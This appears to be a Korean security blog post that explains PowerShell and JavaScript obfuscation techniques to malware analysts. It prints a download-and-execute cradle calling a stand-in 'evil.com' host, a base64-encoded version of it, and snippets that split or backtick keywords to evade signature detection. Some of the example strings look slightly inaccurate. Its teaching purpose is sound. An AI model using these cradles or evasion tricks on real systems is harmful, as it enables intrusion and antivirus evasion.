안녕하세요, 보안 지킴이 여러분! 🛡️
악성코드 분석을 시작하면 가장 먼저 마주치는 거대한 벽이 있습니다. 바로 "읽을 수 없는 코드"입니다. 분명 영어 알파벳과 숫자가 섞여 있는데, 도무지 무슨 뜻인지 알 수 없는 외계어 같은 코드들... 🤯
이것이 바로 난독화(Obfuscation)입니다. 공격자들은 보안 솔루션(백신)의 탐지를 피하고, 분석가가 코드를 해석하지 못하게 만들기 위해 갖가지 기법을 동원해 코드를 꼬아놓습니다.
오늘은 특히 PowerShell과 JavaScript 같은 스크립트 언어에서 주로 사용되는 대표적인 난독화 기법 4가지를 아주 상세하게 파헤쳐 보겠습니다. 이 원리를 알아야 AI에게 "이거 풀어줘!"라고 시킬 수 있겠죠? 😉

1. 난독화(Obfuscation)란 무엇인가요? 🤔
난독화는 프로그램의 기능(동작)은 그대로 유지하면서, 소스 코드를 사람이나 분석 도구가 알아보기 힘들게 변형하는 기술입니다.
- 정상 코드: "문을 열어라"
- 난독화 코드: "ㅁ+ㅜ+ㄴ을 10번 돌려서 ㅇ+ㅕ+ㄹ+어+ㄹ+ㅏ" (결국 문은 열립니다.)
보안 장비는 보통 "문을 열어라"라는 특정 문자열(Signature)을 탐지하는데, 난독화가 되면 이 시그니처가 깨져서 탐지를 회피할 수 있게 됩니다.
2. 주요 기법 ①: 인코딩 (Encoding) 📦
가장 흔하고 기초적인 방법입니다. 데이터를 다른 포맷으로 변환해서 눈으로 내용을 볼 수 없게 만듭니다.
A. Base64 인코딩 (PowerShell의 단골손님)
PowerShell 악성코드의 90% 이상은 Base64를 사용합니다.
- 원본: IEX (New-Object Net.WebClient).DownloadString('http://evil.com'))
- 난독화:
powershell.exe -EncodedCommand SQZWAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtACcAKQA= - 특징: 끝에 = 패딩 문자가 자주 보이고, 알파벳 대소문자와 숫자가 섞인 긴 문자열 형태입니다. 공격자는 -EncodedCommand (또는 -enc, -e) 옵션을 사용해 이를 바로 실행합니다.
B. Hex 인코딩 / Unicode 인코딩 (JS 등)
문자를 16진수(Hex) 숫자나 유니코드 값으로 바꿉니다.
- 원본: var url = "http"
- 난독화: var \x75\x72\x6c = "\x68\x74\x74\x70"
- 특징: \x, \u, % 기호 뒤에 숫자가 붙어있는 형태입니다.
3. 주요 기법 ②: 문자열 쪼개기 및 병합 (Split & Join) 🧩
보안 솔루션은 http, powershell, cmd.exe 같은 위험한 단어를 감시합니다. 공격자는 이 단어를 산산조각 냅니다.
- 원본: Invoke-Expression
- 난독화:
$a = "In"+"vo"+"ke-"; $b = "Exp"+"res"+"sion"; & ($a + $b) ... - 원리: 프로그램이 실행되는 순간(Runtime)에 조각난 문자열이 하나로 합쳐지며 명령어가 완성됩니다. 정적 분석 도구는 조각난 상태만 보기 때문에 탐지하기 어렵습니다.
4. 주요 기법 ③: 치환 (Replacement) 🔄
특정 문자를 의미 없는 다른 문자로 채워 넣고, 실행 직전에 제거하거나 원래 문자로 바꿉니다.
- 원본: http://malware.com
- 난독화:
("ht@tp://m@lw@re.c@om").Replace("@", "") - 해석: 중간중간 섞여 있는 골뱅이(@)를 공백("")으로 치환(Replace)해버리면, 결국 원본 주소만 남게 됩니다.
5. 주요 기법 ④: 이스케이프 문자 활용 (Backticks) 🦇
이건 PowerShell만의 아주 독특하고 악랄한(?) 기법입니다. PowerShell에서는 백틱(`) 문자가 이스케이프 처리용으로 쓰이는데, 명령어 중간에 넣어도 실행에는 아무런 영향을 주지 않습니다.
- 원본: DownloadString
- 난독화:
D`o`wn`l`oa`d`S`t`ri`ng - 원리: 사람은 읽기 짜증나고, 기계(단순 문자열 매칭 시스템)는 DownloadString이라는 단어를 인식하지 못합니다. 하지만 PowerShell 인터프리터는 백틱을 무시하고 정상적으로 명령을 실행합니다.
6. 결론: 왜 우리가 이걸 배워야 할까요? 🎓
이런 난독화된 코드를 사람이 눈으로 하나하나 복구(Deobfuscation)하려면 시간이 엄청나게 걸립니다. Replace 함수를 계산하고, Base64를 디코딩하고, 쪼개진 문자열을 붙이다 보면 밤을 새우기 십상이죠. 🌙
하지만 생성형 AI(LLM)는 이런 패턴 인식에 천재적인 능력을 발휘합니다. "이 Base64 코드를 디코딩하고, 난독화된 변수명을 원래 의미에 맞게 바꿔줘" 라고 명령하면, AI는 순식간에 사람이 읽을 수 있는 깨끗한 코드로 되돌려줍니다.
오늘 배운 이 기법들이 바로 AI에게 우리가 시켜야 할 '복호화 작업'의 대상이 되는 것입니다. 적을 알고 나를 알면 백전백승! 난독화의 원리를 알았으니, 이제 AI와 함께 해독하러 가볼까요? 🚀
다음 시간에는 이 이론을 바탕으로 실제 난독화된 스크립트를 AI를 통해 풀어보는 실습을 진행하겠습니다. 기대해 주세요!
'일반IT > IT보안' 카테고리의 다른 글
| [실습] 꼬불꼬불 라면 사리 같은 '스파게티 코드', AI로 쫙 펴서 평문으로 만들기! 🍜 (제어 흐름 난독화 해제) (1) | 2025.12.11 |
|---|---|
| [실습] 난독화된 코드, AI가 토하지 않게 떠먹여주기! 🥄 (청크 분할 전략) (0) | 2025.12.11 |
| [심화] "그 함수, 진짜 그냥 복사만 할까?" 🕵️♂️ 분석가가 놓치는 은밀한 서브루틴, AI로 검거하기 (0) | 2025.12.11 |
| [실습] "AI야, 그 말 진짜야?" 🤨 AI 분석 결과와 어셈블리(Assembly) 코드 교차 검증하기 (0) | 2025.12.11 |
| [실습] 복잡한 함수도 3초 컷? ⏱️ 기드라(Ghidra)로 추출하고 AI로 요약하는 실전 분석 루틴! (0) | 2025.12.11 |